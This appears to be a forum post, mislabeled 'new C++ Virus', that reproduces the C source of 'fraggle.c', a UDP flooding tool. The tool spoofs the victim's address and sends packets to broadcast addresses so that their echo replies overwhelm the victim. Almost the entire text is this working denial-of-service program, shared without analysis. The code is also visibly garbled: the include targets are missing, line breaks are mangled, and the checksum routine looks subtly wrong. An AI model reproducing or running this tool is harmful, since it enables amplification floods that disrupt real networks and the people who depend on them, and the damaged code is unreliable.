new C++ Virus

· #include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct pktinfo
{
int ps;
int src;
int dst;
};
void fraggle (int, struct sockaddr_in *, u_long dest, struct pktinfo *); void sigint (int);
unsigned short checksum (u_short *, int);
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
struct pktinfo p;
int s, num, delay, n, cycle;
char **bcast = malloc(1024), buf[32]; FILE *bfile;
/* banner */
fprintf(stderr, "\nfraggle.c by TFreak\n\n");
/* capture ctrl-c */
signal(SIGINT, sigint);
/* check for enough cmdline args */ if (argc < 5)
{
fprintf(stderr, "usage: %s "
" [dstport] [srcport] [psize] \n\n"
"target\t\t= address to hit\n"
"bcast file\t= file containing broadcast addrs\n"
"num packets\t= send n packets (n = 0 is constant)\n"
"packet delay\t= usleep() between packets (in ms)\n"
"dstport\t\t= port to hit (default 7)\n"
"srcport\t\t= source port (0 for random)\n"
"ps\t\t= packet size\n\n",
argv[0]);
exit(-1);
}
/* get port info */
if (argc >= 6)
p.dst = atoi(argv[5]);
else
p.dst = 7;
if (argc >= 7)
p.src = atoi(argv[6]);
else
p.src = 0;
/* packet size redundant if not using echo port */ if (argc >= 8)
p.ps = atoi(argv[7]);
else
p.ps = 1;
/* other variables */
num = atoi(argv[3]);
delay = atoi(argv[4]);
/* resolve host */
if (isdigit(*argv[1]))
sin.sin_addr.s_addr = inet_addr(argv[1]); else
{
if ((he = gethostbyname(argv[1])) == NULL)
{
fprintf(stderr, "Can't resolve hostname!\n\n");
exit(-1);
}

memcpy( (caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
/* open bcast file and build array */ if ((bfile = fopen(argv[2], "r")) == NULL) {
perror("opening broadcast file");
exit(-1);
}
n = 0;
while (fgets(buf, sizeof buf, bfile) != NULL) {
buf[strlen(buf) - 1] = 0;
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0]))
continue;
bcast[n] = malloc(strlen(buf) + 1);
strcpy(bcast[n], buf);
n++;
}
bcast[n] = '\0';
fclose(bfile);
/* check for addresses */
if (!n)
{
fprintf(stderr, "Error: No valid addresses in file!\n\n");
exit(-1);
}
/* create our raw socket */
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <= 0) {
perror("creating raw socket");
exit(-1);
}
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (n = 0, cycle = 0; n < num || !num; n++) {
if (!(n % 25))
{
printf(".");
fflush(stdout);
}

srand(time(NULL) * rand() * getpid());

fraggle(s, &sin, inet_addr(bcast[cycle]), &p);
if (bcast[++cycle] == NULL)
cycle = 0;
usleep(delay);
}
sigint(0);
}
void fraggle (int s, struct sockaddr_in *sin, u_long dest, struct pktinfo *p) {
struct iphdr *ip;
struct udphdr *udp;
char *packet;
int r;
packet = malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps); ip = (struct iphdr *)packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps);
/* ip header */
ip->protocol = IPPROTO_UDP;
ip->saddr = sin->sin_addr.s_addr;
ip->daddr = dest;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps); ip->ihl = 5;
ip->frag_off = 0;
ip->check = checksum((u_short *)ip, sizeof(struct iphdr));
/* udp header */
udp->len = htons(sizeof(struct udphdr) + p->ps); udp->dest = htons(p->dst);
if (!p->src)
udp->source = htons(rand());
else
udp->source = htons(p->src);
/* send it on its way */
r = sendto(s, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + p->ps,
0, (struct sockaddr *) sin, sizeof(struct sockaddr_in)); if (r == -1)
{
perror("\nSending packet");
exit(-1);
}
free(packet); /* free willy 2! */ }
unsigned short checksum (u_short *addr, int len) {
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft--;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17);
answer = -sum;
return (answer);
}
void sigint (int ignoremewhore)
{
fprintf(stderr, "\nDone!\n\n");
exit(0);
}